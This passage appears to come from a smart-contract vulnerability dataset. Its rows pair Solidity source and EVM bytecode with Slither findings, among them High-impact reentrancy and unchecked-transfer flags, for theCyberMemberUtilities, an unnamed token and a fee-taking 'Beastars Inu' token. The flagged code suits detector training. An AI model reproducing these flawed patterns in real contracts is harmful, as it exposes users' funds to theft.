156110a9576001600160a01b03831660009081526006602052604090205460ff16158015610e6a57506001600160a01b03821660009081526006602052604090205460ff16155b610e7357600080fd5b600e546001600160a01b038481169116148015610e9e5750600d546001600160a01b03838116911614155b8015610ec357506001600160a01b03821660009081526005602052604090205460ff16155b8015610ed85750600e54600160b81b900460ff165b15610fdd57600f54811115610f2f5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610430565b60105481610f3c84610628565b610f469190611ad1565b1115610f945760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610430565b6001600160a01b0382166000908152600760205260409020544211610fb857600080fd5b610fc342601e611ad1565b6001600160a01b0383166000908152600760205260409020555b600e546001600160a01b0383811691161480156110085750600d546001600160a01b03848116911614155b801561102d57506001600160a01b03831660009081526005602052604090205460ff16155b1561103c576000600a55600b80555b600061104730610628565b600e54909150600160a81b900460ff161580156110725750600e546001600160a01b03858116911614155b80156110875750600e54600160b01b900460ff165b156110a75761109581611272565b4780156110a5576110a5476111bb565b505b505b6110b48383836113fb565b505050565b600081848411156110dd5760405162461bcd60e51b815260040161043091906119d6565b5060006110ea8486611b2a565b95945050505050565b60008261110257506000610400565b600061110e8385611b0b565b90508261111b8583611ae9565b146111725760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610430565b9392505050565b600061117283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611406565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156104a1573d6000803e3d6000fd5b600060085482111561125c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610430565b6000611266611434565b90506111728382611179565b600e805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112ba576112ba611b72565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561130e57600080fd5b505afa158015611322573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061134691906117c6565b8160018151811061135957611359611b72565b6001600160a01b039283166020918202929092010152600d5461137f9130911684610b8d565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906113b8908590600090869030904290600401611a60565b600060405180830381600087803b1580156113d257600080fd5b505af11580156113e6573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b6110b4838383611457565b600081836114275760405162461bcd60e51b815260040161043091906119d6565b5060006110ea8486611ae9565b600080600061144161154e565b90925090506114508282611179565b9250505090565b6000806000806000806114698761158e565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061149b90876115eb565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114ca908661162d565b6001600160a01b0389166000908152600260205260409020556114ec8161168c565b6114f684836116d6565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161153b91815260200190565b60405180910390a3505050505050505050565b6008546000908190670de0b6b36bc936006115698282611179565b82101561158557505060085492670de0b6b36bc9360092509050565b90939092509050565b60008060008060008060008060006115ab8a600a54600b546116fa565b92509250925060006115bb611434565b905060008060006115ce8e878787611749565b919e509c509a509598509396509194505050505091939550919395565b600061117283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110b9565b60008061163a8385611ad1565b9050838110156111725760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610430565b6000611696611434565b905060006116a483836110f3565b306000908152600260205260409020549091506116c1908261162d565b30600090815260026020526040902055505050565b6008546116e390836115eb565b6008556009546116f3908261162d565b6009555050565b600080808061170e60646105ef89896110f3565b9050600061172160646105ef8a896110f3565b90506000611739826117338b866115eb565b906115eb565b9992985090965090945050505050565b600080808061175888866110f3565b9050600061176688876110f3565b9050600061177488886110f3565b905060006117868261173386866115eb565b939b939a50919850919650505050505050565b80356117a481611b9e565b919050565b6000602082840312156117bb57600080fd5b813561117281611b9e565b6000602082840312156117d857600080fd5b815161117281611b9e565b600080604083850312156117f657600080fd5b823561180181611b9e565b9150602083013561181181611b9e565b809150509250929050565b60008060006060848603121561183157600080fd5b833561183c81611b9e565b9250602084013561184c81611b9e565b929592945050506040919091013590565b6000806040838503121561187057600080fd5b823561187b81611b9e565b946020939093013593505050565b6000602080838503121561189c57600080fd5b823567ffffffffffffffff808211156118b457600080fd5b818501915085601f8301126118c857600080fd5b8135818111156118da576118da611b88565b8060051b604051601f19603f830116810181811085821117156118ff576118ff611b88565b604052828152858101935084860182860187018a101561191e57600080fd5b600095505b838610156119485761193481611799565b855260019590950194938601938601611923565b5098975050505050505050565b60006020828403121561196757600080fd5b813561117281611bb3565b60006020828403121561198457600080fd5b815161117281611bb3565b6000602082840312156119a157600080fd5b5035919050565b6000806000606084860312156119bd57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611a03578581018301518582016040015282016119e7565b81811115611a15576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ab05784516001600160a01b031683529383019391830191600101611a8b565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ae457611ae4611b5c565b500190565b600082611b0657634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611b2557611b25611b5c565b500290565b600082821015611b3c57611b3c611b5c565b500390565b6000600019821415611b5557611b55611b5c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461062557600080fd5b801515811461062557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ab4ed592df9e7a93843b7f3acaea3d64ce50b4b69903dddea0ebbd25bb4cedc064736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,157 |
0xcd26ce4798358115858a1a9713ecac09b472a320 | pragma solidity ^0.4.19;
contract ERC20 {
// We want to be able to recover & donate any tokens sent to the contract.
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract theCyberInterface {
// The utility contract can call the following methods of theCyber.
function newMember(uint8 _memberId, bytes32 _memberName, address _memberAddress) public;
function proclaimInactive(uint8 _memberId) public;
function heartbeat() public;
function revokeMembership(uint8 _memberId) public;
function getMembershipStatus(address _memberAddress) public view returns (bool member, uint8 memberId);
function getMemberInformation(uint8 _memberId) public view returns (bytes32 memberName, string memberKey, uint64 memberSince, uint64 inactiveSince, address memberAddress);
function maxMembers() public pure returns(uint16);
function inactivityTimeout() public pure returns(uint64);
function donationAddress() public pure returns(address);
}
contract theCyberMemberUtilities {
// This contract provides a set of helper functions that members of theCyber
// may call in order to perform more advanced operations. In order to interact
// with theCyber, the contract must first be assigned as a member.
event MembershipStatusSet(bool isMember, uint8 memberId);
event FundsDonated(uint256 value);
event TokensDonated(address tokenContractAddress, uint256 value);
// Set the address and interface of theCyber.
address private constant THECYBERADDRESS_ = 0x97A99C819544AD0617F48379840941eFbe1bfAE1;
theCyberInterface theCyber = theCyberInterface(THECYBERADDRESS_);
// Set up variables for checking the contract's membership status.
bool private isMember_;
uint8 private memberId_;
// The max members, inactivity timeout, and the donation address are pulled
// from theCyber inside the constructor function.
uint16 private maxMembers_;
uint64 private inactivityTimeout_;
address private donationAddress_;
// Batch operations on all members utilize incrementing member ids.
uint8 private nextInactiveMemberIndex_;
uint8 private nextRevokedMemberIndex_;
// Methods of the utility contract can only be called by a valid member.
modifier membersOnly() {
// Only allow transactions originating from a valid member address.
bool member;
(member,) = theCyber.getMembershipStatus(msg.sender);
require(member);
_;
}
// In the constructor function, set up the max members, the inactivity
// timeout, and the donation address.
function theCyberMemberUtilities() public {
// Set the maximum number of members.
maxMembers_ = theCyber.maxMembers();
// Set the inactivity timeout.
inactivityTimeout_ = theCyber.inactivityTimeout();
// Set the donation address.
donationAddress_ = theCyber.donationAddress();
// Set the initial membership status to false.
isMember_ = false;
// Start the inactive member index at 0.
nextInactiveMemberIndex_ = 0;
// Start the revoked member index at 0.
nextRevokedMemberIndex_ = 0;
}
// Set the member id of the utility contract prior to calling batch methods.
function setMembershipStatus() public membersOnly {
// Set the membership status and member id of the utility contract.
(isMember_,memberId_) = theCyber.getMembershipStatus(this);
// Log the membership status of the utility contract.
MembershipStatusSet(isMember_, memberId_);
}
// The utility contract must be able to heartbeat if it is marked as inactive.
function heartbeat() public membersOnly {
// Heartbeat the utility contract.
theCyber.heartbeat();
}
// Revoke a membership and immediately assign the membership to a new member.
function revokeAndSetNewMember(uint8 _memberId, bytes32 _memberName, address _memberAddress) public membersOnly {
// Revoke the membership (provided it has been inactive for long enough).
theCyber.revokeMembership(_memberId);
// Assign a new member to the membership (provided the new member is valid).
theCyber.newMember(_memberId, _memberName, _memberAddress);
}
// Mark all members (except this contract & msg.sender) as inactive.
function proclaimAllInactive() public membersOnly returns (bool complete) {
// The utility contract must be a member (and therefore have a member id).
require(isMember_);
// Get the memberId of the calling member.
uint8 callingMemberId;
(,callingMemberId) = theCyber.getMembershipStatus(msg.sender);
// Initialize variables for checking the status of each membership.
uint64 inactiveSince;
address memberAddress;
// Pick up where the function last left off in assigning new members.
uint8 i = nextInactiveMemberIndex_;
// make sure that the loop triggers at least once.
require(msg.gas > 175000);
// Loop through members as long as sufficient gas remains.
while (msg.gas > 170000) {
// Make sure that the target membership is owned and active.
(,,,inactiveSince,memberAddress) = theCyber.getMemberInformation(i);
if ((i != memberId_) && (i != callingMemberId) && (memberAddress != address(0)) && (inactiveSince == 0)) {
// Mark the member as inactive.
theCyber.proclaimInactive(i);
}
// Increment the index to point to the next member id.
i++;
// exit once the index overflows.
if (i == 0) {
break;
}
}
// Set the index where the function left off.
nextInactiveMemberIndex_ = i;
return (i == 0);
}
// Allow members to circumvent the safety measure against self-inactivation.
function inactivateSelf() public membersOnly {
// Get the memberId of the calling member.
uint8 memberId;
(,memberId) = theCyber.getMembershipStatus(msg.sender);
// Inactivate the membership (provided it is not already marked inactive).
theCyber.proclaimInactive(memberId);
}
// Revoke all memberships (except those of the utility contract & msg.sender)
// that have been inactive for longer than the inactivity timeout.
function revokeAllVulnerable() public membersOnly returns (bool complete) {
// The utility contract must be a member (and therefore have a member id).
require(isMember_);
// Get the memberId of the calling member.
uint8 callingMemberId;
(,callingMemberId) = theCyber.getMembershipStatus(msg.sender);
// Initialize variables for checking the status of each membership.
uint64 inactiveSince;
address memberAddress;
// Pick up where the function last left off in assigning new members.
uint8 i = nextRevokedMemberIndex_;
// make sure that the loop triggers at least once.
require(msg.gas > 175000);
// Loop through members as long as sufficient gas remains.
while (msg.gas > 175000) {
// Make sure that the target membership is owned and inactive long enough.
(,,,inactiveSince,memberAddress) = theCyber.getMemberInformation(i);
if ((i != memberId_) && (i != callingMemberId) && (memberAddress != address(0)) && (inactiveSince != 0) && (now >= inactiveSince + inactivityTimeout_)) {
// Revoke the member.
theCyber.revokeMembership(i);
}
// Increment the index to point to the next member id.
i++;
// exit once the index overflows.
if (i == 0) {
break;
}
}
// Set the index where the function left off.
nextRevokedMemberIndex_ = i;
return (i == 0);
}
// Allow members to circumvent the safety measure against self-revokation.
function revokeSelf() public membersOnly {
// Get the memberId of the calling member.
uint8 memberId;
(,memberId) = theCyber.getMembershipStatus(msg.sender);
// Revoke the membership (provided it has been inactive for long enough).
theCyber.revokeMembership(memberId);
}
// The contract is not payable by design, but could end up with a balance as
// a recipient of a selfdestruct / coinbase of a mined block.
function donateFunds() public membersOnly {
// Log the donation of any funds that have made their way into the contract.
FundsDonated(this.balance);
// Send all available funds to the donation address.
donationAddress_.transfer(this.balance);
}
// We also want to be able to access any tokens that are sent to the contract.
function donateTokens(address _tokenContractAddress) public membersOnly {
// Make sure that we didn't pass in the current contract address by mistake.
require(_tokenContractAddress != address(this));
// Log the donation of any tokens that have been sent into the contract.
TokensDonated(_tokenContractAddress, ERC20(_tokenContractAddress).balanceOf(this));
// Send all available tokens at the given contract to the donation address.
ERC20(_tokenContractAddress).transfer(donationAddress_, ERC20(_tokenContractAddress).balanceOf(this));
}
// The donation address for lost ether / ERC20 tokens should match theCyber's.
function donationAddress() public view returns(address) {
return donationAddress_;
}
} | 0x60606040526004361061008a5763ffffffff60e060020a60003504166308614362811461008f57806321ef10f0146100b05780633defb962146100c357806347bba01d146100d65780637150773d146100e95780637c937700146100fc57806391b25b3514610123578063b43959c01461014b578063e4f896e81461015e578063ec034bed14610171575b600080fd5b341561009a57600080fd5b6100ae600160a060020a03600435166101a0565b005b34156100bb57600080fd5b6100ae6103e8565b34156100ce57600080fd5b6100ae610554565b34156100e157600080fd5b6100ae610632565b34156100f457600080fd5b6100ae610786565b341561010757600080fd5b61010f610887565b604051901515815260200160405180910390f35b341561012e57600080fd5b6100ae60ff60043516602435600160a060020a0360443516610ba7565b341561015657600080fd5b6100ae610d0a565b341561016957600080fd5b61010f610ea9565b341561017c57600080fd5b61018461118e565b604051600160a060020a03909116815260200160405180910390f35b60008054600160a060020a031663a7f2f4e233836040516040015260405160e060020a63ffffffff8416028152600160a060020a0390911660048201526024016040805180830381600087803b15156101f857600080fd5b6102c65a03f1151561020957600080fd5b5050506040518051906020018051509091505080151561022857600080fd5b30600160a060020a031682600160a060020a03161415151561024957600080fd5b7f77f539fcdd957862f66732d7375ff654f6fe9f4a8b5987f00fb76c95c5022a518283600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156102c257600080fd5b6102c65a03f115156102d357600080fd5b50505060405180519050604051600160a060020a03909216825260208201526040908101905180910390a1600154600160a060020a038084169163a9059cbb9116826370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561036257600080fd5b6102c65a03f1151561037357600080fd5b5050506040518051905060006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156103c957600080fd5b6102c65a03f115156103da57600080fd5b505050604051805150505050565b600080548190600160a060020a031663a7f2f4e233836040516040015260405160e060020a63ffffffff8416028152600160a060020a0390911660048201526024016040805180830381600087803b151561044257600080fd5b6102c65a03f1151561045357600080fd5b5050506040518051906020018051509091505080151561047257600080fd5b60008054600160a060020a03169063a7f2f4e29033906040516040015260405160e060020a63ffffffff8416028152600160a060020a0390911660048201526024016040805180830381600087803b15156104cc57600080fd5b6102c65a03f115156104dd57600080fd5b5050506040518051906020018051600054909450600160a060020a0316915063b10c7dc490508360405160e060020a63ffffffff841602815260ff9091166004820152602401600060405180830381600087803b151561053c57600080fd5b6102c65a03f1151561054d57600080fd5b5050505050565b60008054600160a060020a031663a7f2f4e233836040516040015260405160e060020a63ffffffff8416028152600160a060020a0390911660048201526024016040805180830381600087803b15156105ac57600080fd5b6102c65a03f115156105bd57600080fd5b505050604051805190602001805150909150508015156105dc57600080fd5b600054600160a060020a0316633defb9626040518163ffffffff1660e060020a028152600401600060405180830381600087803b151561061b57600080fd5b6102c65a03f1151561062c57600080fd5b50505050565b600080548190600160a060020a031663a7f2f4e233836040516040015260405160e060020a63ffffffff8416028152600160a060020a0390911660048201526024016040805180830381600087803b151561068c57600080fd5b6102c65a03f1151561069d57600080fd5b505050604051805190602001805150909150508015156106bc57600080fd5b60008054600160a060020a03169063a7f2f4e29033906040516040015260405160e060020a63ffffffff8416028152600160a060020a0390911660048201526024016040805180830381600087803b151561071657600080fd5b6102c65a03f1151561072757600080fd5b5050506040518051906020018051600054909450600160a060020a0316915063e8350fae90508360405160e060020a63ffffffff841602815260ff9091166004820152602401600060405180830381600087803b151561053c57600080fd5b60008054600160a060020a031663a7f2f4e233836040516040015260405160e060020a63ffffffff8416028152600160a060020a0390911660048201526024016040805180830381600087803b15156107de57600080fd5b6102c65a03f115156107ef57600080fd5b5050506040518051906020018051509091505080151561080e57600080fd5b7f7bab8b153e4d965bbea263e6ec7fd668200f097331376c34c28353e11fd2384330600160a060020a03163160405190815260200160405180910390a1600154600160a060020a039081169030163180156108fc0290604051600060405180830381858888f19350505050151561088457600080fd5b50565b6000805481908190819081908190600160a060020a031663a7f2f4e233836040516040015260405160e060020a63ffffffff8416028152600160a060020a0390911660048201526024016040805180830381600087803b15156108e957600080fd5b6102c65a03f115156108fa57600080fd5b5050506040518051906020018051509091505080151561091957600080fd5b60005460a060020a900460ff16151561093157600080fd5b60008054600160a060020a03169063a7f2f4e29033906040516040015260405160e060020a63ffffffff8416028152600160a060020a0390911660048201526024016040805180830381600087803b151561098b57600080fd5b6102c65a03f1151561099c57600080fd5b505050604051805190602001805160015490975060a860020a900460ff1693506202ab989150505a116109ce57600080fd5b6202ab985a1115610b6f5760008054600160a060020a03169063aef3bc1790849060405160a0015260405160e060020a63ffffffff841602815260ff909116600482015260240160a060405180830381600087803b1515610a2e57600080fd5b6102c65a03f11515610a3f57600080fd5b505050604051805190602001805190602001805190602001805190602001805160005492995097505060ff86811660a860020a9092041614801593509150610a8f905057508460ff168260ff1614155b8015610aa35750600160a060020a03831615155b8015610ab8575067ffffffffffffffff841615155b8015610af1575060005467ffffffffffffffff780100000000000000000000000000000000000000000000000090910481168501164210155b15610b5557600054600160a060020a031663b10c7dc48360405160e060020a63ffffffff841602815260ff9091166004820152602401600060405180830381600087803b1515610b4057600080fd5b6102c65a03f11515610b5157600080fd5b5050505b60019091019060ff82161515610b6a57610b6f565b6109ce565b506001805475ff000000000000000000000000000000000000000000191660a860020a60ff9390931692830217905515949350505050565b60008054600160a060020a031663a7f2f4e233836040516040015260405160e060020a63ffffffff8416028152600160a060020a0390911660048201526024016040805180830381600087803b1515610bff57600080fd5b6102c65a03f11515610c1057600080fd5b50505060405180519060200180515090915050801515610c2f57600080fd5b600054600160a060020a031663b10c7dc48560405160e060020a63ffffffff841602815260ff9091166004820152602401600060405180830381600087803b1515610c7957600080fd5b6102c65a03f11515610c8a57600080fd5b5050600054600160a060020a03169050638c9c297785858560405160e060020a63ffffffff861602815260ff90931660048401526024830191909152600160a060020a03166044820152606401600060405180830381600087803b1515610cf057600080fd5b6102c65a03f11515610d0157600080fd5b50505050505050565b60008054600160a060020a031663a7f2f4e233836040516040015260405160e060020a63ffffffff8416028152600160a060020a0390911660048201526024016040805180830381600087803b1515610d6257600080fd5b6102c65a03f11515610d7357600080fd5b50505060405180519060200180515090915050801515610d9257600080fd5b60008054600160a060020a03169063a7f2f4e29030906040516040015260405160e060020a63ffffffff8416028152600160a060020a0390911660048201526024016040805180830381600087803b1515610dec57600080fd5b6102c65a03f11515610dfd57600080fd5b50505060405180519060200180516000805475ff000000000000000000000000000000000000000000191660a860020a60ff93841681029190911774ff0000000000000000000000000000000000000000191660a060020a951515860217918290557fa6ba098587fdc250fa7cfe060edfcb38cbd85ceff2ca0e11ce51820bb37fee0a94820483169350900416604051911515825260ff1660208201526040908101905180910390a150565b6000805481908190819081908190600160a060020a031663a7f2f4e233836040516040015260405160e060020a63ffffffff8416028152600160a060020a0390911660048201526024016040805180830381600087803b1515610f0b57600080fd5b6102c65a03f11515610f1c57600080fd5b50505060405180519060200180515090915050801515610f3b57600080fd5b60005460a060020a900460ff161515610f5357600080fd5b60008054600160a060020a03169063a7f2f4e29033906040516040015260405160e060020a63ffffffff8416028152600160a060020a0390911660048201526024016040805180830381600087803b1515610fad57600080fd5b6102c65a03f11515610fbe57600080fd5b505050604051805190602001805160015490975060a060020a900460ff1693506202ab989150505a11610ff057600080fd5b620298105a11156111575760008054600160a060020a03169063aef3bc1790849060405160a0015260405160e060020a63ffffffff841602815260ff909116600482015260240160a060405180830381600087803b151561105057600080fd5b6102c65a03f1151561106157600080fd5b505050604051805190602001805190602001805190602001805190602001805160005492995097505060ff86811660a860020a90920416148015935091506110b1905057508460ff168260ff1614155b80156110c55750600160a060020a03831615155b80156110d9575067ffffffffffffffff8416155b1561113d57600054600160a060020a031663e8350fae8360405160e060020a63ffffffff841602815260ff9091166004820152602401600060405180830381600087803b151561112857600080fd5b6102c65a03f1151561113957600080fd5b5050505b60019091019060ff8216151561115257611157565b610ff0565b506001805474ff0000000000000000000000000000000000000000191660a060020a60ff9390931692830217905515949350505050565b600154600160a060020a0316905600a165627a7a723058209bfbe8fe2531f1ee1e1b5aaf132af08b103ffe455f6a3524ecde24439697718b0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 10,158 |
0x97ae6926d7E10eb3feD2bE064CAD6f138D351DEB | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Beastars is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e11 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Beastars Inu";
string private constant _symbol = unicode"Beastars Inu";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 12;
uint256 private _feeRate = 13;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private buyLimitEnd;
uint private holdingCapPercent = 3;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress) {
_FeeAddress = FeeAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
if (to != uniswapV2Pair && to != address(this))
require(balanceOf(to) + amount <= _getMaxHolding(), "Max holding cap breached.");
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_teamFee = 12;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
_teamFee = 12;
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
